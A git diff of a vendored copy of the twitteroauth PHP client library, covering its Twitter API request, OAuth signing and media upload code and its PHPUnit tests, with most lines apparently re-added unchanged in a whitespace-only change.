$oauthToken The Client Token (optional) + * @param string|null $oauthTokenSecret The Client Token Secret (optional) + */ + public function __construct( + string $consumerKey, + string $consumerSecret, + ?string $oauthToken = null, + ?string $oauthTokenSecret = null + ) { + $this->resetLastResponse(); + $this->signatureMethod = new HmacSha1(); + $this->consumer = new Consumer($consumerKey, $consumerSecret); + if (!empty($oauthToken) && !empty($oauthTokenSecret)) { + $this->setOauthToken($oauthToken, $oauthTokenSecret); + } + if (empty($oauthToken) && !empty($oauthTokenSecret)) { + $this->setBearer($oauthTokenSecret); + } + } + + /** + * @param string $oauthToken + * @param string $oauthTokenSecret + */ + public function setOauthToken( + string $oauthToken, + string $oauthTokenSecret + ): void { + $this->token = new Token($oauthToken, $oauthTokenSecret); + $this->bearer = null; + } + + /** + * @param string $oauthTokenSecret + */ + public function setBearer(string $oauthTokenSecret): void + { + $this->bearer = $oauthTokenSecret; + $this->token = null; + } + + /** + * @return string|null + */ + public function getLastApiPath(): ?string + { + return $this->response->getApiPath(); + } + + /** + * @return int + */ + public function getLastHttpCode(): int + { + return $this->response->getHttpCode(); + } + + /** + * @return array + */ + public function getLastXHeaders(): array + { + return $this->response->getXHeaders(); + } + + /** + * @return array|object|null + */ + public function getLastBody() + { + return $this->response->getBody(); + } + + /** + * Resets the last response cache. + */ + public function resetLastResponse(): void + { + $this->response = new Response(); + } + + /** + * Resets the attempts number. + */ + private function resetAttemptsNumber(): void + { + $this->attempts = 0; + } + + /** + * Delays the retries when they're activated. + */ + private function sleepIfNeeded(): void + { + if ($this->maxRetries && $this->attempts) { + sleep($this->retriesDelay); + } + } + + /** + * Make URLs for user browser navigation. + * + * @param string $path + * @param array $parameters + * + * @return string + */ + public function url(string $path, array $parameters): string + { + $this->resetLastResponse(); + $this->response->setApiPath($path); + $query = http_build_query($parameters); + return sprintf('%s/%s?%s', self::API_HOST, $path, $query); + } + + /** + * Make /oauth/* requests to the API. + * + * @param string $path + * @param array $parameters + * + * @return array + * @throws TwitterOAuthException + */ + public function oauth(string $path, array $parameters = []): array + { + $response = []; + $this->resetLastResponse(); + $this->response->setApiPath($path); + $url = sprintf('%s/%s', self::API_HOST, $path); + $result = $this->oAuthRequest($url, 'POST', $parameters); + + if ($this->getLastHttpCode() != 200) { + throw new TwitterOAuthException($result); + } + + parse_str($result, $response); + $this->response->setBody($response); + + return $response; + } + + /** + * Make /oauth2/* requests to the API. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + public function oauth2(string $path, array $parameters = []) + { + $method = 'POST'; + $this->resetLastResponse(); + $this->response->setApiPath($path); + $url = sprintf('%s/%s', self::API_HOST, $path); + $request = Request::fromConsumerAndToken( + $this->consumer, + $this->token, + $method, + $url, + $parameters + ); + $authorization = + 'Authorization: Basic ' . + $this->encodeAppAuthorization($this->consumer); + $result = $this->request( + $request->getNormalizedHttpUrl(), + $method, + $authorization, + $parameters + ); + $response = JsonDecoder::decode($result, $this->decodeJsonAsArray); + $this->response->setBody($response); + return $response; + } + + /** + * Make GET requests to the API. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + public function get(string $path, array $parameters = []) + { + return $this->http('GET', self::API_HOST, $path, $parameters, false); + } + + /** + * Make POST requests to the API. + * + * @param string $path + * @param array $parameters + * @param bool $json + * + * @return array|object + */ + public function post( + string $path, + array $parameters = [], + bool $json = false + ) { + return $this->http('POST', self::API_HOST, $path, $parameters, $json); + } + + /** + * Make DELETE requests to the API. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + public function delete(string $path, array $parameters = []) + { + return $this->http('DELETE', self::API_HOST, $path, $parameters, false); + } + + /** + * Make PUT requests to the API. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + public function put(string $path, array $parameters = []) + { + return $this->http('PUT', self::API_HOST, $path, $parameters, false); + } + + /** + * Upload media to upload.twitter.com. + * + * @param string $path + * @param array $parameters + * @param boolean $chunked + * + * @return array|object + */ + public function upload( + string $path, + array $parameters = [], + bool $chunked = false + ) { + if ($chunked) { + return $this->uploadMediaChunked($path, $parameters); + } else { + return $this->uploadMediaNotChunked($path, $parameters); + } + } + + /** + * Progression of media upload + * + * @param string $media_id + * + * @return array|object + */ + public function mediaStatus(string $media_id) + { + return $this->http( + 'GET', + self::UPLOAD_HOST, + 'media/upload', + [ + 'command' => 'STATUS', + 'media_id' => $media_id, + ], + false + ); + } + + /** + * Private method to upload media (not chunked) to upload.twitter.com. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + private function uploadMediaNotChunked(string $path, array $parameters) + { + if ( + !is_readable($parameters['media']) || + ($file = file_get_contents($parameters['media'])) === false + ) { + throw new \InvalidArgumentException( + 'You must supply a readable file' + ); + } + $parameters['media'] = base64_encode($file); + return $this->http( + 'POST', + self::UPLOAD_HOST, + $path, + $parameters, + false + ); + } + + /** + * Private method to upload media (chunked) to upload.twitter.com. + * + * @param string $path + * @param array $parameters + * + * @return array|object + */ + private function uploadMediaChunked(string $path, array $parameters) + { + $init = $this->http( + 'POST', + self::UPLOAD_HOST, + $path, + $this->mediaInitParameters($parameters), + false + ); + // Append + $segmentIndex = 0; + $media = fopen($parameters['media'], 'rb'); + while (!feof($media)) { + $this->http( + 'POST', + self::UPLOAD_HOST, + 'media/upload', + [ + 'command' => 'APPEND', + 'media_id' => $init->media_id_string, + 'segment_index' => $segmentIndex++, + 'media_data' => base64_encode( + fread($media, $this->chunkSize) + ), + ], + false + ); + } + fclose($media); + // Finalize + $finalize = $this->http( + 'POST', + self::UPLOAD_HOST, + 'media/upload', + [ + 'command' => 'FINALIZE', + 'media_id' => $init->media_id_string, + ], + false + ); + return $finalize; + } + + /** + * Private method to get params for upload media chunked init. + * Twitter docs: https://dev.twitter.com/rest/reference/post/media/upload-init.html + * + * @param array $parameters + * + * @return array + */ + private function mediaInitParameters(array $parameters): array + { + $allowed_keys = [ + 'media_type', + 'additional_owners', + 'media_category', + 'shared', + ]; + $base = [ + 'command' => 'INIT', + 'total_bytes' => filesize($parameters['media']), + ]; + $allowed_parameters = array_intersect_key( + $parameters, + array_flip($allowed_keys) + ); + return array_merge($base, $allowed_parameters); + } + + /** + * Cleanup any parameters that are known not to work. + * + * @param array $parameters + * + * @return array + */ + private function cleanUpParameters(array $parameters) + { + foreach ($parameters as $key => $value) { + // PHP coerces `true` to `"1"` which some Twitter APIs don't like. + if (is_bool($value)) { + $parameters[$key] = var_export($value, true); + } + } + return $parameters; + } + + /** + * @param string $method + * @param string $host + * @param string $path + * @param array $parameters + * @param bool $json + * + * @return array|object + */ + private function http( + string $method, + string $host, + string $path, + array $parameters, + bool $json + ) { + $this->resetLastResponse(); + $this->resetAttemptsNumber(); + $url = sprintf('%s/%s/%s.json', $host, self::API_VERSION, $path); + $this->response->setApiPath($path); + if (!$json) { + $parameters = $this->cleanUpParameters($parameters); + } + return $this->makeRequests($url, $method, $parameters, $json); + } + + /** + * + * Make requests and retry them (if enabled) in case of Twitter's problems. + * + * @param string $method + * @param string $url + * @param string $method + * @param array $parameters + * @param bool $json + * + * @return array|object + */ + private function makeRequests( + string $url, + string $method, + array $parameters, + bool $json + ) { + do { + $this->sleepIfNeeded(); + $result = $this->oAuthRequest($url, $method, $parameters, $json); + $response = JsonDecoder::decode($result, $this->decodeJsonAsArray); + $this->response->setBody($response); + $this->attempts++; + // Retry up to our $maxRetries number if we get errors greater than 500 (over capacity etc) + } while ($this->requestsAvailable()); + + return $response; + } + + /** + * Checks if we have to retry request if API is down. + * + * @return bool + */ + private function requestsAvailable(): bool + { + return $this->maxRetries && + $this->attempts <= $this->maxRetries && + $this->getLastHttpCode() >= 500; + } + + /** + * Format and sign an OAuth / API request + * + * @param string $url + * @param string $method + * @param array $parameters + * @param bool $json + * + * @return string + * @throws TwitterOAuthException + */ + private function oAuthRequest( + string $url, + string $method, + array $parameters, + bool $json = false + ) { + $request = Request::fromConsumerAndToken( + $this->consumer, + $this->token, + $method, + $url, + $parameters, + $json + ); + if (array_key_exists('oauth_callback', $parameters)) { + // Twitter doesn't like oauth_callback as a parameter. + unset($parameters['oauth_callback']); + } + if ($this->bearer === null) { + $request->signRequest( + $this->signatureMethod, + $this->consumer, + $this->token + ); + $authorization = $request->toHeader(); + if (array_key_exists('oauth_verifier', $parameters)) { + // Twitter doesn't always work with oauth in the body and in the header + // and it's already included in the $authorization header + unset($parameters['oauth_verifier']); + } + } else { + $authorization = 'Authorization: Bearer ' . $this->bearer; + } + return $this->request( + $request->getNormalizedHttpUrl(), + $method, + $authorization, + $parameters, + $json + ); + } + + /** + * Set Curl options. + * + * @return array + */ + private function curlOptions(): array + { + $bundlePath = CaBundle::getSystemCaRootBundlePath(); + $options = [ + // CURLOPT_VERBOSE => true, + CURLOPT_CONNECTTIMEOUT => $this->connectionTimeout, + CURLOPT_HEADER => true, + CURLOPT_RETURNTRANSFER => true, + CURLOPT_SSL_VERIFYHOST => 2, + CURLOPT_SSL_VERIFYPEER => true, + CURLOPT_TIMEOUT => $this->timeout, + CURLOPT_USERAGENT => $this->userAgent, + $this->curlCaOpt($bundlePath) => $bundlePath, + ]; + + if ($this->gzipEncoding) { + $options[CURLOPT_ENCODING] = 'gzip'; + } + + if (!empty($this->proxy)) { + $options[CURLOPT_PROXY] = $this->proxy['CURLOPT_PROXY']; + $options[CURLOPT_PROXYUSERPWD] = + $this->proxy['CURLOPT_PROXYUSERPWD']; + $options[CURLOPT_PROXYPORT] = $this->proxy['CURLOPT_PROXYPORT']; + $options[CURLOPT_PROXYAUTH] = CURLAUTH_BASIC; + $options[CURLOPT_PROXYTYPE] = CURLPROXY_HTTP; + } + + return $options; + } + + /** + * Make an HTTP request + * + * @param string $url + * @param string $method + * @param string $authorization + * @param array $postfields + * @param bool $json + * + * @return string + * @throws TwitterOAuthException + */ + private function request( + string $url, + string $method, + string $authorization, + array $postfields, + bool $json = false + ): string { + $options = $this->curlOptions(); + $options[CURLOPT_URL] = $url; + $options[CURLOPT_HTTPHEADER] = [ + 'Accept: application/json', + $authorization, + 'Expect:', + ]; + + switch ($method) { + case 'GET': + break; + case 'POST': + $options[CURLOPT_POST] = true; + if ($json) { + $options[CURLOPT_HTTPHEADER][] = + 'Content-type: application/json'; + $options[CURLOPT_POSTFIELDS] = json_encode($postfields); + } else { + $options[CURLOPT_POSTFIELDS] = Util::buildHttpQuery( + $postfields + ); + } + break; + case 'DELETE': + $options[CURLOPT_CUSTOMREQUEST] = 'DELETE'; + break; + case 'PUT': + $options[CURLOPT_CUSTOMREQUEST] = 'PUT'; + break; + } + + if ( + in_array($method, ['GET', 'PUT', 'DELETE']) && + !empty($postfields) + ) { + $options[CURLOPT_URL] .= '?' . Util::buildHttpQuery($postfields); + } + + $curlHandle = curl_init(); + curl_setopt_array($curlHandle, $options); + $response = curl_exec($curlHandle); + + // Throw exceptions on cURL errors. + if (curl_errno($curlHandle) > 0) { + $error = curl_error($curlHandle); + $errorNo = curl_errno($curlHandle); + curl_close($curlHandle); + throw new TwitterOAuthException($error, $errorNo); + } + + $this->response->setHttpCode( + curl_getinfo($curlHandle, CURLINFO_HTTP_CODE) + ); + $parts = explode("\r\n\r\n", $response); + $responseBody = array_pop($parts); + $responseHeader = array_pop($parts); + $this->response->setHeaders($this->parseHeaders($responseHeader)); + + curl_close($curlHandle); + + return $responseBody; + } + + /** + * Get the header info to store. + * + * @param string $header + * + * @return array + */ + private function parseHeaders(string $header): array + { + $headers = []; + foreach (explode("\r\n", $header) as $line) { + if (strpos($line, ':') !== false) { + list($key, $value) = explode(': ', $line); + $key = str_replace('-', '_', strtolower($key)); + $headers[$key] = trim($value); + } + } + return $headers; + } + + /** + * Encode application authorization header with base64. + * + * @param Consumer $consumer + * + * @return string + */ + private function encodeAppAuthorization(Consumer $consumer): string + { + $key = rawurlencode($consumer->key); + $secret = rawurlencode($consumer->secret); + return base64_encode($key . ':' . $secret); + } + + /** + * Get Curl CA option based on whether the given path is a directory or file. + * + * @param string $path + * @return int + */ + private function curlCaOpt(string $path): int + { + return is_dir($path) ? CURLOPT_CAPATH : CURLOPT_CAINFO; + } +} diff --git a/vendor/abraham/twitteroauth/src/TwitterOAuthException.php b/vendor/abraham/twitteroauth/src/TwitterOAuthException.php index f065214317..03b8e3e981 100644 --- a/vendor/abraham/twitteroauth/src/TwitterOAuthException.php +++ b/vendor/abraham/twitteroauth/src/TwitterOAuthException.php @@ -1,12 +1,12 @@ - - */ -class TwitterOAuthException extends \Exception -{ -} + + */ +class TwitterOAuthException extends \Exception +{ +} diff --git a/vendor/abraham/twitteroauth/src/Util.php b/vendor/abraham/twitteroauth/src/Util.php index 3757e09a22..b1c09a950b 100644 --- a/vendor/abraham/twitteroauth/src/Util.php +++ b/vendor/abraham/twitteroauth/src/Util.php @@ -1,122 +1,122 @@ - array('b','c'), 'd' => 'e') - * - * @param string $input - * - * @return array - */ - public static function parseParameters($input): array - { - if (!is_string($input)) { - return []; - } - - $pairs = explode('&', $input); - - $parameters = []; - foreach ($pairs as $pair) { - $split = explode('=', $pair, 2); - $parameter = Util::urldecodeRfc3986($split[0]); - $value = isset($split[1]) ? Util::urldecodeRfc3986($split[1]) : ''; - - if (isset($parameters[$parameter])) { - // We have already recieved parameter(s) with this name, so add to the list - // of parameters with this name - - if (is_scalar($parameters[$parameter])) { - // This is the first duplicate, so transform scalar (string) into an array - // so we can add the duplicates - $parameters[$parameter] = [$parameters[$parameter]]; - } - - $parameters[$parameter][] = $value; - } else { - $parameters[$parameter] = $value; - } - } - return $parameters; - } - - /** - * @param array $params - * - * @return string - */ - public static function buildHttpQuery(array $params): string - { - if (empty($params)) { - return ''; - } - - // Urlencode both keys and values - $keys = Util::urlencodeRfc3986(array_keys($params)); - $values = Util::urlencodeRfc3986(array_values($params)); - $params = array_combine($keys, $values); - - // Parameters are sorted by name, using lexicographical byte value ordering. - // Ref: Spec: 9.1.1 (1) - uksort($params, 'strcmp'); - - $pairs = []; - foreach ($params as $parameter => $value) { - if (is_array($value)) { - // If two or more parameters share the same name, they are sorted by their value - // Ref: Spec: 9.1.1 (1) - // June 12th, 2010 - changed to sort because of issue 164 by hidetaka - sort($value, SORT_STRING); - foreach ($value as $duplicateValue) { - $pairs[] = $parameter . '=' . $duplicateValue; - } - } else { - $pairs[] = $parameter . '=' . $value; - } - } - // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) - // Each name-value pair is separated by an '&' character (ASCII code 38) - return implode('&', $pairs); - } -} + array('b','c'), 'd' => 'e') + * + * @param string $input + * + * @return array + */ + public static function parseParameters($input): array + { + if (!is_string($input)) { + return []; + } + + $pairs = explode('&', $input); + + $parameters = []; + foreach ($pairs as $pair) { + $split = explode('=', $pair, 2); + $parameter = Util::urldecodeRfc3986($split[0]); + $value = isset($split[1]) ? Util::urldecodeRfc3986($split[1]) : ''; + + if (isset($parameters[$parameter])) { + // We have already recieved parameter(s) with this name, so add to the list + // of parameters with this name + + if (is_scalar($parameters[$parameter])) { + // This is the first duplicate, so transform scalar (string) into an array + // so we can add the duplicates + $parameters[$parameter] = [$parameters[$parameter]]; + } + + $parameters[$parameter][] = $value; + } else { + $parameters[$parameter] = $value; + } + } + return $parameters; + } + + /** + * @param array $params + * + * @return string + */ + public static function buildHttpQuery(array $params): string + { + if (empty($params)) { + return ''; + } + + // Urlencode both keys and values + $keys = Util::urlencodeRfc3986(array_keys($params)); + $values = Util::urlencodeRfc3986(array_values($params)); + $params = array_combine($keys, $values); + + // Parameters are sorted by name, using lexicographical byte value ordering. + // Ref: Spec: 9.1.1 (1) + uksort($params, 'strcmp'); + + $pairs = []; + foreach ($params as $parameter => $value) { + if (is_array($value)) { + // If two or more parameters share the same name, they are sorted by their value + // Ref: Spec: 9.1.1 (1) + // June 12th, 2010 - changed to sort because of issue 164 by hidetaka + sort($value, SORT_STRING); + foreach ($value as $duplicateValue) { + $pairs[] = $parameter . '=' . $duplicateValue; + } + } else { + $pairs[] = $parameter . '=' . $value; + } + } + // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) + // Each name-value pair is separated by an '&' character (ASCII code 38) + return implode('&', $pairs); + } +} diff --git a/vendor/abraham/twitteroauth/src/Util/JsonDecoder.php b/vendor/abraham/twitteroauth/src/Util/JsonDecoder.php index 364c91a8f1..989f340685 100644 --- a/vendor/abraham/twitteroauth/src/Util/JsonDecoder.php +++ b/vendor/abraham/twitteroauth/src/Util/JsonDecoder.php @@ -1,29 +1,29 @@ - - */ -class JsonDecoder -{ - /** - * Decodes a JSON string to stdObject or associative array - * - * @param string $string - * @param bool $asArray - * - * @return array|object - */ - public static function decode(string $string, bool $asArray) - { - if ( - version_compare(PHP_VERSION, '5.4.0', '>=') && - !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4) - ) { - return json_decode($string, $asArray, 512, JSON_BIGINT_AS_STRING); - } - - return json_decode($string, $asArray); - } -} + + */ +class JsonDecoder +{ + /** + * Decodes a JSON string to stdObject or associative array + * + * @param string $string + * @param bool $asArray + * + * @return array|object + */ + public static function decode(string $string, bool $asArray) + { + if ( + version_compare(PHP_VERSION, '5.4.0', '>=') && + !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4) + ) { + return json_decode($string, $asArray, 512, JSON_BIGINT_AS_STRING); + } + + return json_decode($string, $asArray); + } +} diff --git a/vendor/abraham/twitteroauth/tests/AbstractSignatureMethodTest.php b/vendor/abraham/twitteroauth/tests/AbstractSignatureMethodTest.php index 11e87c83c3..b390620ecc 100644 --- a/vendor/abraham/twitteroauth/tests/AbstractSignatureMethodTest.php +++ b/vendor/abraham/twitteroauth/tests/AbstractSignatureMethodTest.php @@ -1,60 +1,60 @@ -assertEquals($this->name, $this->getClass()->getName()); - } - - /** - * @dataProvider signatureDataProvider - */ - public function testBuildSignature($expected, $request, $consumer, $token) - { - $this->assertEquals( - $expected, - $this->getClass()->buildSignature($request, $consumer, $token) - ); - } - - protected function getRequest() - { - return $this->getMockBuilder('Abraham\TwitterOAuth\Request') - ->disableOriginalConstructor() - ->getMock(); - } - - protected function getConsumer( - $key = null, - $secret = null, - $callbackUrl = null - ) { - return $this->getMockBuilder('Abraham\TwitterOAuth\Consumer') - ->setConstructorArgs([$key, $secret, $callbackUrl]) - ->getMock(); - } - - protected function getToken($key = null, $secret = null) - { - return $this->getMockBuilder('Abraham\TwitterOAuth\Token') - ->setConstructorArgs([$key, $secret]) - ->getMock(); - } -} +assertEquals($this->name, $this->getClass()->getName()); + } + + /** + * @dataProvider signatureDataProvider + */ + public function testBuildSignature($expected, $request, $consumer, $token) + { + $this->assertEquals( + $expected, + $this->getClass()->buildSignature($request, $consumer, $token) + ); + } + + protected function getRequest() + { + return $this->getMockBuilder('Abraham\TwitterOAuth\Request') + ->disableOriginalConstructor() + ->getMock(); + } + + protected function getConsumer( + $key = null, + $secret = null, + $callbackUrl = null + ) { + return $this->getMockBuilder('Abraham\TwitterOAuth\Consumer') + ->setConstructorArgs([$key, $secret, $callbackUrl]) + ->getMock(); + } + + protected function getToken($key = null, $secret = null) + { + return $this->getMockBuilder('Abraham\TwitterOAuth\Token') + ->setConstructorArgs([$key, $secret]) + ->getMock(); + } +} diff --git a/vendor/abraham/twitteroauth/tests/ConsumerTest.php b/vendor/abraham/twitteroauth/tests/ConsumerTest.php index 16d7b21321..18a1de01b7 100644 --- a/vendor/abraham/twitteroauth/tests/ConsumerTest.php +++ b/vendor/abraham/twitteroauth/tests/ConsumerTest.php @@ -1,23 +1,23 @@ -assertEquals( - "Consumer[key=$key,secret=$secret]", - $consumer->__toString() - ); - } -} +assertEquals( + "Consumer[key=$key,secret=$secret]", + $consumer->__toString() + ); + } +} diff --git a/vendor/abraham/twitteroauth/tests/HmacSha1Test.php b/vendor/abraham/twitteroauth/tests/HmacSha1Test.php index b5876d461c..cd7887ed89 100644 --- a/vendor/abraham/twitteroauth/tests/HmacSha1Test.php +++ b/vendor/abraham/twitteroauth/tests/HmacSha1Test.php @@ -1,47 +1,47 @@ -getRequest(), - $this->getConsumer(), - $this->getToken(), - ], - [ - 'EBw0gHngam3BTx8kfPfNNSyKem4=', - $this->getRequest(), - $this->getConsumer('key', 'secret'), - $this->getToken(), - ], - [ - 'kDsHFZzws2a5M6cAQjfpdNBo+v8=', - $this->getRequest(), - $this->getConsumer('key', 'secret'), - $this->getToken('key', 'secret'), - ], - [ - 'EBw0gHngam3BTx8kfPfNNSyKem4=', - $this->getRequest(), - $this->getConsumer('key', 'secret'), - null, - ], - ]; - } -} +getRequest(), + $this->getConsumer(), + $this->getToken(), + ], + [ + 'EBw0gHngam3BTx8kfPfNNSyKem4=', + $this->getRequest(), + $this->getConsumer('key', 'secret'), + $this->getToken(), + ], + [ + 'kDsHFZzws2a5M6cAQjfpdNBo+v8=', + $this->getRequest(), + $this->getConsumer('key', 'secret'), + $this->getToken('key', 'secret'), + ], + [ + 'EBw0gHngam3BTx8kfPfNNSyKem4=', + $this->getRequest(), + $this->getConsumer('key', 'secret'), + null, + ], + ]; + } +} diff --git a/vendor/abraham/twitteroauth/tests/TokenTest.php b/vendor/abraham/twitteroauth/tests/TokenTest.php index 4ffb7be98a..1863676e8c 100644 --- a/vendor/abraham/twitteroauth/tests/TokenTest.php +++ b/vendor/abraham/twitteroauth/tests/TokenTest.php @@ -1,38 +1,38 @@ -assertEquals($expected, $token->__toString()); - } - - public function tokenProvider() - { - return [ - ['oauth_token=key&oauth_token_secret=secret', 'key', 'secret'], - [ - 'oauth_token=key%2Bkey&oauth_token_secret=secret', - 'key+key', - 'secret', - ], - [ - 'oauth_token=key~key&oauth_token_secret=secret', - 'key~key', - 'secret', - ], - ]; - } -} +assertEquals($expected, $token->__toString()); + } + + public function tokenProvider() + { + return [ + ['oauth_token=key&oauth_token_secret=secret', 'key', 'secret'], + [ + 'oauth_token=key%2Bkey&oauth_token_secret=secret', + 'key+key', + 'secret', + ], + [ + 'oauth_token=key~key&oauth_token_secret=secret', + 'key~key', + 'secret', + ], + ]; + } +} diff --git a/vendor/abraham/twitteroauth/tests/TwitterOAuthTest.php b/vendor/abraham/twitteroauth/tests/TwitterOAuthTest.php index e904bae037..00244e1fd1 100644 --- a/vendor/abraham/twitteroauth/tests/TwitterOAuthTest.php +++ b/vendor/abraham/twitteroauth/tests/TwitterOAuthTest.php @@ -1,397 +1,397 @@ -twitter = new TwitterOAuth( - CONSUMER_KEY, - CONSUMER_SECRET, - ACCESS_TOKEN, - ACCESS_TOKEN_SECRET - ); - $this->userId = explode('-', ACCESS_TOKEN)[0]; - } - - public function testBuildClient() - { - $this->assertObjectHasAttribute('consumer', $this->twitter); - $this->assertObjectHasAttribute('token', $this->twitter); - } - - /** - * @vcr testSetOauthToken.json - */ - public function testSetOauthToken() - { - $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); - $twitter->setOauthToken(ACCESS_TOKEN, ACCESS_TOKEN_SECRET); - $this->assertObjectHasAttribute('consumer', $twitter); - $this->assertObjectHasAttribute('token', $twitter); - $twitter->get('friendships/show', [ - 'target_screen_name' => 'twitterapi', - ]); - $this->assertEquals(200, $twitter->getLastHttpCode()); - } - - /** - * @vcr testOauth2Token.json - */ - public function testOauth2Token() - { - $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); - $result = $twitter->oauth2('oauth2/token', [ - 'grant_type' => 'client_credentials', - ]); - $this->assertEquals(200, $twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('token_type', $result); - $this->assertObjectHasAttribute('access_token', $result); - $this->assertEquals('bearer', $result->token_type); - return $result; - } - - /** - * @depends testOauth2Token - * @vcr testOauth2BearerToken.json - */ - public function testOauth2BearerToken($accessToken) - { - $twitter = new TwitterOAuth( - CONSUMER_KEY, - CONSUMER_SECRET, - null, - $accessToken->access_token - ); - $result = $twitter->get('statuses/user_timeline', [ - 'screen_name' => 'twitterapi', - ]); - $this->assertEquals(200, $twitter->getLastHttpCode()); - return $accessToken; - } - - /** - * @depends testOauth2BearerToken - * @vcr testOauth2TokenInvalidate.json - */ - public function testOauth2TokenInvalidate($accessToken) - { - $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); - // HACK: access_token is already urlencoded but gets urlencoded again breaking the invalidate request. - $result = $twitter->oauth2('oauth2/invalidate_token', [ - 'access_token' => urldecode($accessToken->access_token), - ]); - $this->assertEquals(200, $twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('access_token', $result); - } - - /** - * @vcr testOauthRequestToken.json - */ - public function testOauthRequestToken() - { - $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); - $result = $twitter->oauth('oauth/request_token', [ - 'oauth_callback' => OAUTH_CALLBACK, - ]); - $this->assertEquals(200, $twitter->getLastHttpCode()); - $this->assertArrayHasKey('oauth_token', $result); - $this->assertArrayHasKey('oauth_token_secret', $result); - $this->assertArrayHasKey('oauth_callback_confirmed', $result); - $this->assertEquals('true', $result['oauth_callback_confirmed']); - return $result; - } - - /** - * @vcr testOauthRequestTokenException.json - */ - public function testOauthRequestTokenException() - { - $this->expectException( - \Abraham\TwitterOAuth\TwitterOAuthException::class - ); - $this->expectErrorMessage('Could not authenticate you'); - $twitter = new TwitterOAuth('CONSUMER_KEY', 'CONSUMER_SECRET'); - $result = $twitter->oauth('oauth/request_token', [ - 'oauth_callback' => OAUTH_CALLBACK, - ]); - } - - /** - * @depends testOauthRequestToken - * @vcr testOauthAccessTokenTokenException.json - */ - public function testOauthAccessTokenTokenException(array $requestToken) - { - // Can't test this without a browser logging into Twitter so check for the correct error instead. - $this->expectException( - \Abraham\TwitterOAuth\TwitterOAuthException::class - ); - $this->expectErrorMessage('Invalid oauth_verifier parameter'); - $twitter = new TwitterOAuth( - CONSUMER_KEY, - CONSUMER_SECRET, - $requestToken['oauth_token'], - $requestToken['oauth_token_secret'] - ); - $twitter->oauth('oauth/access_token', [ - 'oauth_verifier' => 'fake_oauth_verifier', - ]); - } - - public function testUrl() - { - $url = $this->twitter->url('oauth/authorize', [ - 'foo' => 'bar', - 'baz' => 'qux', - ]); - $this->assertEquals( - 'https://api.twitter.com/oauth/authorize?foo=bar&baz=qux', - $url - ); - } - - /** - * @vcr testGetAccountVerifyCredentials.json - */ - public function testGetAccountVerifyCredentials() - { - $user = $this->twitter->get('account/verify_credentials', [ - 'include_entities' => false, - 'include_email' => true, - ]); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('email', $user); - } - - /** - * @vcr testSetProxy.json - */ - public function testSetProxy() - { - $this->twitter->setProxy([ - 'CURLOPT_PROXY' => PROXY, - 'CURLOPT_PROXYUSERPWD' => PROXYUSERPWD, - 'CURLOPT_PROXYPORT' => PROXYPORT, - ]); - $this->twitter->setTimeouts(60, 60); - $result = $this->twitter->get('account/verify_credentials'); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('id', $result); - } - - /** - * @vcr testGetStatusesMentionsTimeline.json - */ - public function testGetStatusesMentionsTimeline() - { - $this->twitter->get('statuses/mentions_timeline'); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - } - - /** - * @vcr testGetSearchTweets.json - */ - public function testGetSearchTweets() - { - $result = $this->twitter->get('search/tweets', ['q' => 'twitter']); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - return $result->statuses; - } - - /** - * @depends testGetSearchTweets - * @vcr testGetSearchTweetsWithMaxId.json - */ - public function testGetSearchTweetsWithMaxId($statuses) - { - $maxId = array_pop($statuses)->id_str; - $this->twitter->get('search/tweets', [ - 'q' => 'twitter', - 'max_id' => $maxId, - ]); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - } - - /** - * @vcr testPostFavoritesCreate.json - */ - public function testPostFavoritesCreate() - { - $result = $this->twitter->post('favorites/create', [ - 'id' => '6242973112', - ]); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - } - - /** - * @depends testPostFavoritesCreate - * @vcr testPostFavoritesDestroy.json - */ - public function testPostFavoritesDestroy() - { - $this->twitter->post('favorites/destroy', ['id' => '6242973112']); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - } - - /** - * @vcr testPostDirectMessagesEventsNew.json - */ - public function testPostDirectMessagesEventsNew() - { - $data = [ - 'event' => [ - 'type' => 'message_create', - 'message_create' => [ - 'target' => [ - 'recipient_id' => $this->userId, - ], - 'message_data' => [ - 'text' => 'Hello World!', - ], - ], - ], - ]; - $result = $this->twitter->post( - 'direct_messages/events/new', - $data, - true - ); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - return $result; - } - - /** - * @depends testPostDirectMessagesEventsNew - * @vcr testDeleteDirectMessagesEventsDestroy.json - */ - public function testDeleteDirectMessagesEventsDestroy($message) - { - $this->twitter->delete('direct_messages/events/destroy', [ - 'id' => $message->event->id, - ]); - $this->assertEquals(204, $this->twitter->getLastHttpCode()); - } - - /** - * @vcr testPostStatusesUpdateWithMedia.json - */ - public function testPostStatusesUpdateWithMedia() - { - $this->twitter->setTimeouts(60, 60); - // Image source https://www.flickr.com/photos/titrans/8548825587/ - $file_path = __DIR__ . '/kitten.jpg'; - $result = $this->twitter->upload('media/upload', [ - 'media' => $file_path, - ]); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('media_id_string', $result); - $parameters = [ - 'status' => 'Hello World ' . MOCK_TIME, - 'media_ids' => $result->media_id_string, - ]; - $result = $this->twitter->post('statuses/update', $parameters); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $result = $this->twitter->post('statuses/destroy/' . $result->id_str); - return $result; - } - - /** - * @vcr testPostStatusUpdateWithInvalidMediaThrowsException.json - */ - public function testPostStatusUpdateWithInvalidMediaThrowsException() - { - $this->expectException(\InvalidArgumentException::class); - 